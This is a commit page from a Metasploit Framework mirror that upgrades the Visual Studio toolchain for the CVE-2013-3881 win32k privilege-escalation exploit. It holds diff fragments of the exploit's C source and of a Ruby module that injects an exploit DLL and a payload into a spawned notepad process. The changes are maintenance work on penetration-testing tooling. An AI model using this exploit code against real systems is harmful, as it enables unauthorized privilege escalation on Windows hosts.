infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Upgrade toolchain to Visual Studio 2013 v120.

bug/bundler_fix
Spencer McIntyre 2014-02-10 09:35:07 -05:00
parent 01f41a209c
commit 0ac1acda70
3 changed files with 15 additions and 11 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c vendored
View File

@ -3,7 +3,7 @@
* Date: February 5, 2014 * Date: February 5, 2014
* Vulnerability Discovery: Seth Gibson and Dan Zentner of Endgame * Vulnerability Discovery: Seth Gibson and Dan Zentner of Endgame
* Exploit Author: Spencer McIntyre * Exploit Author: Spencer McIntyre
* Version: Windows 7 SP1 * Version: Windows 7 SP0/SP1
* Tested on: Windows 7 SP0/SP1 * Tested on: Windows 7 SP0/SP1
* CVE-2013-3881 MS13-081 * CVE-2013-3881 MS13-081
* References: * References:
@ -22,7 +22,11 @@
#define WIN32_NO_STATUS #define WIN32_NO_STATUS
#include <windows.h> #include <windows.h>
#undef WIN32_NO_STATUS #undef WIN32_NO_STATUS
#include <winternl.h>
#ifndef _NTDEF_
typedef __success(return >= 0) LONG NTSTATUS;
typedef NTSTATUS *PNTSTATUS;
#endif
#define TABLE_BASE 0xff910000 #define TABLE_BASE 0xff910000

6
external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj vendored
View File

@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?> <?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations"> <ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32"> <ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration> <Configuration>Debug</Configuration>
@ -20,14 +20,14 @@
<UseDebugLibraries>true</UseDebugLibraries> <UseDebugLibraries>true</UseDebugLibraries>
<WholeProgramOptimization>false</WholeProgramOptimization> <WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v90</PlatformToolset> <PlatformToolset>v120</PlatformToolset>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType> <ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries> <UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>false</WholeProgramOptimization> <WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v90</PlatformToolset> <PlatformToolset>v120</PlatformToolset>
</PropertyGroup> </PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings"> <ImportGroup Label="ExtensionSettings">

10
modules/exploits/windows/local/win32k_null_page.rb
View File

@ -22,8 +22,8 @@ class Metasploit3 < Msf::Exploit::Local
'Description' => %q{ 'Description' => %q{
This module exploits a vulnerability in win32k.sys where under This module exploits a vulnerability in win32k.sys where under
specific conditions TrackPopupMenuEx will pass a NULL pointer to specific conditions TrackPopupMenuEx will pass a NULL pointer to
the EndMenuState. This module has been tested successfully on the MNEndMenuState procedure. This module has been tested
Windows 7 SP0 and Windows 7 SP1. successfully on Windows 7 SP0 and Windows 7 SP1.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
@ -102,15 +102,15 @@ class Metasploit3 < Msf::Exploit::Local
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.") print_good("Process #{process.pid} launched.")
print_status("Reflectively injecting the exploit DLL into #{process.getpid}...") print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits", library_path = ::File.join(Msf::Config.data_directory, "exploits",
"cve-2013-3881", "cve-2013-3881.x86.dll") "cve-2013-3881", "cve-2013-3881.x86.dll")
library_path = ::File.expand_path(library_path) library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.getpid} ...") print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path) exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected. Injecting payload into #{process.getpid}...") print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded) payload_mem = inject_into_process(process, payload.encoded)
# invoke the exploit, passing in the address of the payload that # invoke the exploit, passing in the address of the payload that